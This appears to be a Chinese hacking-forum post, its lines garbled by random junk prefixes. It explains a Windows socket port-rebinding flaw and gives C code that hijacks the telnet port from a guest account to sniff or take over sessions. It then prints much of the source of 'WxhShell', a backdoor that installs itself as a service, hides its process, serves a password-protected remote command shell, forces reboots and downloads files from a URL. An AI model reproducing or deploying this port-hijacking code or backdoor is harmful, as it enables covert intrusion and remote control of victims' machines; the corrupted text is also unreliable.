在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1f%1*L0>@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v/@^Q1G/: y>:N{| saddr.sin_family = AF_INET;
1}S S+>` rUwZMli saddr.sin_addr.s_addr = htonl(INADDR_ANY);
K'55O&2 #:jHp44J bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V4hiGO[ ><RpEnWZ< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,ZaRy$? p5Z"|\ 这意味着什么?意味着可以进行如下的攻击:
<5d~P/, FO+Zue.RS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`-.%^eIp svsq g{9z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-#7'r<I9@ LuNc,n% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
E{`kaWmC&~ i6R~`0>Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*lYVY)L -^K"ZP1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Amp#GR1CA y?rPlA_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
e%@'5k\SK 0\H\lKcK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|<HPn4
,X :Hn6b$Vy8 #include
:uP,f<=)K #include
tankR9(o #include
[O$Wa:< 0x #include
VdPtPq1 DWORD WINAPI ClientThread(LPVOID lpParam);
x%s-+& int main()
\?w2a$?6w {
!6n_}I-W WORD wVersionRequested;
rT M}})81 DWORD ret;
h mvfw:Nq4 WSADATA wsaData;
Nc1"g1JR BOOL val;
>/g#lS 5 SOCKADDR_IN saddr;
+"x,x SOCKADDR_IN scaddr;
Z.c'Hs+; int err;
!-ok"k0,u SOCKET s;
6rh5h: SOCKET sc;
W~6EEyD% int caddsize;
Vl5`U'^qx HANDLE mt;
]-PH^H DWORD tid;
@>u]4Jn wVersionRequested = MAKEWORD( 2, 2 );
\@WDV err = WSAStartup( wVersionRequested, &wsaData );
|_LU~ 7./ if ( err != 0 ) {
r/4``shg printf("error!WSAStartup failed!\n");
gGvz(R:y return -1;
c*(bO3 b }
|^0XYBxQ saddr.sin_family = AF_INET;
H]P.
x!I J
cPtwa;q@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*,3SGcYdJj J{'>uD.@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3?[dE< saddr.sin_port = htons(23);
83E7k]7] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uya.sF0]9B {
;l4[%xld printf("error!socket failed!\n");
bmJ5MF]_fG return -1;
_|iSF2f,X }
zxJ]"N val = TRUE;
wi;Br[d //SO_REUSEADDR选项就是可以实现端口重绑定的
6{x(.= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
wE[]6\_x1 {
]"J~:{, d printf("error!setsockopt failed!\n");
rk&IlAE return -1;
MV<^!W }
wL;lQ& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"*($cQ$v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
VkvB<3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
E4xj?m^(y= |P[w==AAf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
RwKdxK+; {
Mc=$/ o ret=GetLastError();
mN~ci 0 printf("error!bind failed!\n");
3)8QS
return -1;
b$4"i XSQ }
T3~k>"W listen(s,2);
11TL~xFh while(1)
~Am,%"%\ {
Cf TfL3(J caddsize = sizeof(scaddr);
~KHVY)@P //接受连接请求
O9vQp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5pj22 s if(sc!=INVALID_SOCKET)
9G9fDG#F\I {
"k/;[ Wt] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`q?8A3A if(mt==NULL)
BZ:H`M`n {
--PtZ]Z printf("Thread Creat Failed!\n");
%4ePc- break;
gMY1ts}Z }
Lilr0|U+ }
l%[EXZ CloseHandle(mt);
M*!agh }
lU@]@_< closesocket(s);
b8~Bazk WSACleanup();
C3*gn}[ return 0;
I2TaT(e\ }
>[MX:Yh DWORD WINAPI ClientThread(LPVOID lpParam)
`)`
n(B {
<%($7VMev SOCKET ss = (SOCKET)lpParam;
" |Xk2U SOCKET sc;
os,* 3WO unsigned char buf[4096];
}#.L7SIJ<J SOCKADDR_IN saddr;
}B8IBveu long num;
kB3H="3[[ DWORD val;
m4aB*6<lq DWORD ret;
#,,d>e //如果是隐藏端口应用的话,可以在此处加一些判断
[ad@*KFxy3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U[SaY0Z saddr.sin_family = AF_INET;
I`p+Qt saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C3eR)Yh saddr.sin_port = htons(23);
]j'p :v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i'4B3 {
J!0DR4=Xi printf("error!socket failed!\n");
!6BW@GeF] return -1;
:ZTc7} }
:axRoRg val = 100;
;-9=RI0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+,2:g}5 {
RMK"o? ret = GetLastError();
eb.O#Y return -1;
3x5JFM }
[baiH|5> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m6TNBX {
Du`JaJI ret = GetLastError();
BbW^Wxd3 return -1;
@{YS}&Q/ }
} ~h3c| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
sp#p8@Cj {
e}Cif2#d~ printf("error!socket connect failed!\n");
>ZPsjQuf" closesocket(sc);
)Gj8X}DM closesocket(ss);
PUF/#ck return -1;
_&N2'hG=sn }
L$9.8W while(1)
=4[v3Qx {
\n{qsf: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{. 2k6_1[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
:E_g"_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z*kutZ:6Y num = recv(ss,buf,4096,0);
9^,Lc1"M> if(num>0)
x97
j send(sc,buf,num,0);
0uWR<,] else if(num==0)
3{""58 break;
,8:(OB|a num = recv(sc,buf,4096,0);
_z'u pb& if(num>0)
&QDW9
Mi send(ss,buf,num,0);
U'8bdsF_ else if(num==0)
/<HRwG\w break;
~Q?a|mV, }
WOQP$D9 closesocket(ss);
K <pV closesocket(sc);
hCCiD9gz return 0 ;
}2(,K[? }
X}tVmO? My<snmr2d &0NFb^8+ ==========================================================
'XZ)!1N GqWB{$J;" 下边附上一个代码,,WXhSHELL
2W/?q!t cc#gEm)3C ==========================================================
.#1~Rz1r 9A}# 6 #include "stdafx.h"
0/!dUWdKH Tsgk/e9K2? #include <stdio.h>
b
/@#}Gc #include <string.h>
2ggdWg7z #include <windows.h>
0o+6Q8q #include <winsock2.h>
^SxY IFL #include <winsvc.h>
V\u>"3BQw #include <urlmon.h>
MO&}r7qq h v8P4"i v #pragma comment (lib, "Ws2_32.lib")
%%NlTE8* #pragma comment (lib, "urlmon.lib")
-sw
. \<y`!"c
#define MAX_USER 100 // 最大客户端连接数
L%Ow#.[C2 #define BUF_SOCK 200 // sock buffer
W.dt:_ #define KEY_BUFF 255 // 输入 buffer
Rn{iaM2Y< {P{bOe #define REBOOT 0 // 重启
V>R8GSx #define SHUTDOWN 1 // 关机
[* @5\NWR} c.,2GwW #define DEF_PORT 5000 // 监听端口
NXNY"r7~ ^zt-HDBR_ #define REG_LEN 16 // 注册表键长度
;cPy1 #define SVC_LEN 80 // NT服务名长度
>)spqu] AI,(z;{P // 从dll定义API
}&n<uUD H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
BB~OqZIP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D&}3$ 7> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4zJtOK?r" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}"=AG R,F[XI+=N // wxhshell配置信息
q>mE<
(-M struct WSCFG {
0BH_'ZW int ws_port; // 监听端口
t*>R`,j char ws_passstr[REG_LEN]; // 口令
enp)-nS0 int ws_autoins; // 安装标记, 1=yes 0=no
7qj9&bEy char ws_regname[REG_LEN]; // 注册表键名
?RK]FP"A char ws_svcname[REG_LEN]; // 服务名
c3:,Ab| char ws_svcdisp[SVC_LEN]; // 服务显示名
UVw~8o9s char ws_svcdesc[SVC_LEN]; // 服务描述信息
ag*mG*Z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
BO~PT,QrF int ws_downexe; // 下载执行标记, 1=yes 0=no
EX?MA6U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^1Zeb$Nw' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/o[?D wQwQXNG };
VJdIHsI ZCB_ // default Wxhshell configuration
r :F struct WSCFG wscfg={DEF_PORT,
/C>wd "xuhuanlingzhe",
COW}o~3-4 1,
Q\cjPc0y "Wxhshell",
4eikLRD, "Wxhshell",
*d"DA[( "WxhShell Service",
e pU: "Wrsky Windows CmdShell Service",
))&;}2{ "Please Input Your Password: ",
#a`a$A 1,
0KGY\,ae:; "
http://www.wrsky.com/wxhshell.exe",
d!:6[7X6 "Wxhshell.exe"
q|Q k2M };
qe!fk?T} =Qgt${| // 消息定义模块
h"_~7jq" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H63,bNS s char *msg_ws_prompt="\n\r? for help\n\r#>";
_T2=J+"-Kp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)('%R|$ / char *msg_ws_ext="\n\rExit.";
Gm(b/qDDe char *msg_ws_end="\n\rQuit.";
Kj<^zo%w char *msg_ws_boot="\n\rReboot...";
^}:# char *msg_ws_poff="\n\rShutdown...";
3'^k$;^ char *msg_ws_down="\n\rSave to ";
sFQ^2PwbS %*&UJpbA char *msg_ws_err="\n\rErr!";
o>7ts&rk char *msg_ws_ok="\n\rOK!";
i K12pw Q5FM8Q char ExeFile[MAX_PATH];
#m[|2R int nUser = 0;
gFHTG HANDLE handles[MAX_USER];
rFC" Jx int OsIsNt;
"g'jPwFG J41G&$j( SERVICE_STATUS serviceStatus;
e46/{4F, SERVICE_STATUS_HANDLE hServiceStatusHandle;
<
V\I~; (rkU)Q // 函数声明
r=6v`)Qr int Install(void);
w~
[b*$ int Uninstall(void);
>2]JXLq int DownloadFile(char *sURL, SOCKET wsh);
'A:x/iv}^ int Boot(int flag);
DqX{'jj void HideProc(void);
h=(DX5:A int GetOsVer(void);
F0:A]`| int Wxhshell(SOCKET wsl);
^_ kJKM, void TalkWithClient(void *cs);
4H|(c[K; int CmdShell(SOCKET sock);
xj[(P$,P int StartFromService(void);
R1& [S/ int StartWxhshell(LPSTR lpCmdLine);
55;g1o}}f aBNZdX]vzO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sgO'wXcoP VOID WINAPI NTServiceHandler( DWORD fdwControl );
dw TMq*e
~i21%$ // 数据结构和表定义
i:u1s"3~ SERVICE_TABLE_ENTRY DispatchTable[] =
Rr!Y3)f; {
D<V~f B {wscfg.ws_svcname, NTServiceMain},
CE"JS-S? {NULL, NULL}
u-tQ9ioKC };
L~ IhsiB h+a S4Q& // 自我安装
M?[h0{^K int Install(void)
^b 7GH9<& {
rtL}W__ char svExeFile[MAX_PATH];
.N*Pl(<[ HKEY key;
VMCLHpSfW strcpy(svExeFile,ExeFile);
Gkp<o dlG=Vq&Y // 如果是win9x系统,修改注册表设为自启动
jS]><rm if(!OsIsNt) {
=IUUeFv +r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6<$Odd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fgBM_c&9T RegCloseKey(key);
c7M%xGrP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!w H'b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`\m*+Bk[5 RegCloseKey(key);
:OW;?{ ~j return 0;
Bf$_XG3
}
#?XQ7Im }
g7&9" }
E=cwq" else {
HgBGV0 MdXchO-Lyc // 如果是NT以上系统,安装为系统服务
*bxzCI7b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
> ]8a3x if (schSCManager!=0)
"3<da* D1 {
Zr-U&9.` SC_HANDLE schService = CreateService
JR@.R
,rII (
j~FD{%4N schSCManager,
STglw-TC\ wscfg.ws_svcname,
3LfC{ER wscfg.ws_svcdisp,
in(U:04 SERVICE_ALL_ACCESS,
zLF?P3^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m~dC3}e8/? SERVICE_AUTO_START,
8@PX7!9 SERVICE_ERROR_NORMAL,
TARXx> svExeFile,
(%U@3._ NULL,
E"L2&. NULL,
1Jj Y! NULL,
CEC
nq3 NULL,
JKX_q&bUw NULL
w=}uwvn NX );
%eJGte- if (schService!=0)
[|lB5gi4t! {
d oB CloseServiceHandle(schService);
4&HXkRs: CloseServiceHandle(schSCManager);
b9"jtRTdz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>/#KI~}'N strcat(svExeFile,wscfg.ws_svcname);
_ib"b# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#BQ.R, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$z$u{ RegCloseKey(key);
4]/7 )x?R return 0;
p2N:;lXM }
I(S)n+E }
Cn_$l> CloseServiceHandle(schSCManager);
Iu{kPyx }
XTd3|Pm }
I"1;|`L~: @&"Pci+-| return 1;
jM&r{^( }
E( h<$w8s TI !a )X // 自我卸载
|TE}`?y[g int Uninstall(void)
gh>>Ibf {
1lsLJ4P HKEY key;
C_ \q?> 3&x-}y~sg if(!OsIsNt) {
@A+RVg*= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ex<O]kPFE RegDeleteValue(key,wscfg.ws_regname);
suH&jE$ x RegCloseKey(key);
Nk[2nyeO> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
St<mDTi RegDeleteValue(key,wscfg.ws_regname);
.@"q$\ RegCloseKey(key);
g!i45-n3gt return 0;
*FfMI }
up2+s# }
(Z}>1WRju }
nkv(~ej( else {
@vMA=v7a kqb0>rYa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
O8]'o*<] if (schSCManager!=0)
OgcHS? {
\j2;4O?` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
h b/]8mR if (schService!=0)
NjE</Empb% {
v?c 0[+? if(DeleteService(schService)!=0) {
g}f9dB,F CloseServiceHandle(schService);
{ls+dx/ CloseServiceHandle(schSCManager);
{}o>{&X return 0;
W[[bV }
Fxc)}i` CloseServiceHandle(schService);
GdVhK:<> }
j,d*?'X CloseServiceHandle(schSCManager);
X1tXqHJF} }
lc6iKFyG }
h8G5GRD /j"sS2$U return 1;
^>?CMcN4* }
AkU<g ?%O3Oi Xz // 从指定url下载文件
s!+"yK int DownloadFile(char *sURL, SOCKET wsh)
4Iq'/r {
z5*=MlZ)R. HRESULT hr;
jEz+1Nl) char seps[]= "/";
@=5qT]%U3J char *token;
:y2p@#l# char *file;
+uWYK9 char myURL[MAX_PATH];
UwY-7Mmo char myFILE[MAX_PATH];
8SmnMt hSGb-$~F strcpy(myURL,sURL);
O g%U token=strtok(myURL,seps);
fnCItK~y while(token!=NULL)
<e%F^#y_
{
J!ntXF file=token;
|KY EK| token=strtok(NULL,seps);
NDO\B,7 }
K1?Gmue#I -S%x
wJKM GetCurrentDirectory(MAX_PATH,myFILE);
+fKtG]$ strcat(myFILE, "\\");
)R_E|@" strcat(myFILE, file);
K~RoUE<3[ send(wsh,myFILE,strlen(myFILE),0);
/?/#B ` send(wsh,"...",3,0);
B`$L' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f-2$
L if(hr==S_OK)
8_H=^a>2 return 0;
_)$PKOzbb else
A\Txb_x return 1;
@^ ik[9^H Ovw[b2ii }
QO{y/{ -V %gVI[ // 系统电源模块
0(8H;T int Boot(int flag)
R)Mt(gFZT_ {
'rb'7=z5 HANDLE hToken;
.r+hERcB TOKEN_PRIVILEGES tkp;
_kFYBd l_/C65%.: if(OsIsNt) {
qJR!$? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$!A:5jech LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
f]8I64 tkp.PrivilegeCount = 1;
]J2:194 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
lo&#(L+2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jY!ZkQsVe if(flag==REBOOT) {
"()sb? & if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}i!pL(8; return 0;
S06Hs~>Y }
f!t69nd%L else {
\
u+xa{b| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
t@?u return 0;
SKY*.IW/Z }
9=dkx^q }
FZpKFsPx else {
pL1s@KR if(flag==REBOOT) {
Lp:6 ; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>n.z)ZJ return 0;
oh#N
0
0X }
&ogt2<1W else {
]"fsW 9s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&B{8uge1 return 0;
PHM:W%g: }
"L&k)J }
g+zJ? MN=
sIP,zk return 1;
JbQZ!+ }
^%oUmwP<$ b 1^n KB // win9x进程隐藏模块
pF=g||gS void HideProc(void)
H ;@!?I {
y@ek=fT%4 \6j^kY= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"u')g& if ( hKernel != NULL )
\Mx
JH[ {
@fn6<3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
GtI6[ :1t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6DSH`-; FreeLibrary(hKernel);
{6vEEU }
|@VF.)_ v$|mo;6 return;
`QP
~ }
Z&yaSB ,WTTJN // 获取操作系统版本
XbvDi+R2A int GetOsVer(void)
17UK1Jx, {
$. e) OSVERSIONINFO winfo;
%I4zQiJ% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~0tdfK0c GetVersionEx(&winfo);
yDd[e]zS` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8LM#WIm? return 1;
!)OB@F%U else
/nB'kg[h\ return 0;
uOk%AL> }
Mn^zYW|( f$xhb3Qn // 客户端句柄模块
+/'<z int Wxhshell(SOCKET wsl)
^3I'y
UsY {
/r$&]C:Fi SOCKET wsh;
~Nh&.a struct sockaddr_in client;
U1m\\<, DWORD myID;
}#N]0I)JI o$bUY7_ while(nUser<MAX_USER)
_3^y|_! {
=d20Xa int nSize=sizeof(client);
pz}mF D&[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#+sF`qR, if(wsh==INVALID_SOCKET) return 1;
0'ZYO.y mc@M ,2@D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{K.rl%_|N if(handles[nUser]==0)
{gkwOMW closesocket(wsh);
2)LX^?7R else
/(6zsq'v| nUser++;
}ymvC }
#Q6w+" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=Lw3
\5l 3XVk#)lw return 0;
E3\ZJjG }
@!H
'+c %O) Z // 关闭 socket
af>3V( 7 void CloseIt(SOCKET wsh)
#vnT&FN0[ {
{OxWcK\2@h closesocket(wsh);
^e9aD9 nUser--;
}$)&{d G ExitThread(0);
i-13~Dk }
!UNNjBBP7 ^8742. // 客户端请求句柄
X ]s"5ju|t void TalkWithClient(void *cs)
,t~sV@ap {
F3 f@9@b p?Sl}A@` SOCKET wsh=(SOCKET)cs;
Zc\S$+PM char pwd[SVC_LEN];
zA{8C];~ char cmd[KEY_BUFF];
3q~Fl=|.o char chr[1];
fPE ?hG<x int i,j;
^CQ1I0 O)5#Fcp( while (nUser < MAX_USER) {
]gP8?s| UH40~LxIma if(wscfg.ws_passstr) {
c^-YcGwa if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{E~l>Z88 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
syFI$rf
_ //ZeroMemory(pwd,KEY_BUFF);
)fCMITq.| i=0;
f'_S1\ while(i<SVC_LEN) {
\!PV*%P SI_?~Pf3k // 设置超时
nVTM3Cz fd_set FdRead;
V4?Oc2mS struct timeval TimeOut;
hZF(/4Z2 FD_ZERO(&FdRead);
,kE=TR.| FD_SET(wsh,&FdRead);
Tf l;7w.(A TimeOut.tv_sec=8;
7|~:P$M TimeOut.tv_usec=0;
3/tJDb5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
q!2<=:f
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;Uk!jQh u%aFb* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
M71R -B`- pwd
=chr[0]; (HSw%e
if(chr[0]==0xd || chr[0]==0xa) { 5&%fkZ0
pwd=0; j];G*-iv{
break; Kw*~W
i
} b A+[{
i++; }bgo )<i
} *. dKR
(,TH~("{
// 如果是非法用户,关闭 socket | XLFV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &<{}8/x8(
} YAMfP8S
u9@b<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Pqn3I[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -7L
!&0a<~Wi
while(1) { )8]3kQffJ=
4(sttd_
ZeroMemory(cmd,KEY_BUFF); ;(`e^IVf
~9i qD
// 自动支持客户端 telnet标准 K051usm
j=0; ]j1
vbk
while(j<KEY_BUFF) { V
Qh/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Z4^'1{D
cmd[j]=chr[0]; yI4DVu.
if(chr[0]==0xa || chr[0]==0xd) { !3?~#e{_
cmd[j]=0; 6'vi68
break; R}.3|0
} 1O9$W?)Q
j++; ,#Ln/;
} N.n1<
H\f/n`@,G
// 下载文件 m|`VJ0
if(strstr(cmd,"http://")) {
I9Om#m
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @|]G0&gn&?
if(DownloadFile(cmd,wsh)) l }+Cdy9>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nO}$ 76*'0
else *sAOpf@M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ytob/tc
} \086O9
else { #O><A&FrF`
VB's
switch(cmd[0]) { y\z*p&I
( w5f(4
// 帮助 t@r#b67WJe
case '?': { ;6zPiaDQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?AT(S
break; A_]D~HH
} $BaK'7=3*
// 安装 g X8**g'
case 'i': { m/KjJ"s,
if(Install()) ,=x
RoXYB}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?}v}U^
else <\Vi,,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \E~Q1eAJT
break; |thad!?
} 0ovZ&l
// 卸载 0+p
5/5
case 'r': { CBIT`k.+
if(Uninstall()) -@#Pc#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !&\meS{
else a.1`\$]d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(Tiazg
break; +!G4tA$g
} p ^](3Vi(
// 显示 wxhshell 所在路径 R^|!^[WE
case 'p': { 9Dy)nm^
char svExeFile[MAX_PATH]; srhFEmgN7)
strcpy(svExeFile,"\n\r"); !4_!J (q%
strcat(svExeFile,ExeFile); ;i/"$K
send(wsh,svExeFile,strlen(svExeFile),0); /jvOXS\M
break; OoE9W
} <TL])@da
// 重启 $>|?k$(x
case 'b': { cu:-MpE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1"M"h_4
if(Boot(REBOOT)) y>%W;r)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nQ!N}5[z'
else { |iAEDZn
closesocket(wsh); iq,ah"L
ExitThread(0); ( e0_RQ
} a4:`2
break; f<^ScFVR
} #0jSZ g^,"
// 关机 M&eQ=vew.
case 'd': { *1i?6$[
"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hJ<:-u+yk}
if(Boot(SHUTDOWN)) R !jhwY$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ \_3s
else { f>|9 l
closesocket(wsh); j`{fB}
ExitThread(0); )Kxs@F
} #&}%70R)
break; >s44
} Io2,% !D
// 获取shell 8TUF w@H%
case 's': { )_X;9%L7
CmdShell(wsh); 4(m/D>6:
closesocket(wsh); Zp^)_ 0
ExitThread(0); 1V#0\1sj
break; 8rla0d@
} FYxUOO
// 退出 b8eDD+ul k
case 'x': { gQu\[e%mVo
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?`za-+<r<
CloseIt(wsh); ZDW,7b%U
break; )hePN4edj
} }<E sS
// 离开 [5x+aW%ql
case 'q': { ="/R5fp
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hf;RIl2F
closesocket(wsh); 5T7_[{
WSACleanup();
$:qI&)/
exit(1); 5dbX%e_OP
break; 6-D%)Z(
} ?SHc}iaU#
} hgF21Oj9
} \x3^
IiG4ib>)W
// 提示信息 kt;}]O2%R
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s4^[3|Zrr0
} 1!K!oY
} l_UXrnm/N
rOs)B 21/
return; u?F7L8q]
} B.h0" vJ
mvUVy1-c
// shell模块句柄 @hE7r-}]
int CmdShell(SOCKET sock) kxcgOjrmI
{ E!:.G+SEl
STARTUPINFO si; F!
|TW6)gv
ZeroMemory(&si,sizeof(si)); `HE>%=]b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jB}_Slh1j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; at_dmU2[7
PROCESS_INFORMATION ProcessInfo; JrY"J]/
char cmdline[]="cmd"; 9{auleu
R
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B iVd
ka
return 0; =e"H1^Ml
} gEcnn.(S
CD XB&%Sr
// 自身启动模式 -`<6=[QUO
int StartFromService(void) 8Cf^$
{ @h ,h=X
typedef struct D4YT33$tC
{ ,Y78Q
DWORD ExitStatus; sa\|"IkD2
DWORD PebBaseAddress; Enq6K1@%G
DWORD AffinityMask; Gnuo-8lb
DWORD BasePriority; u *#-7
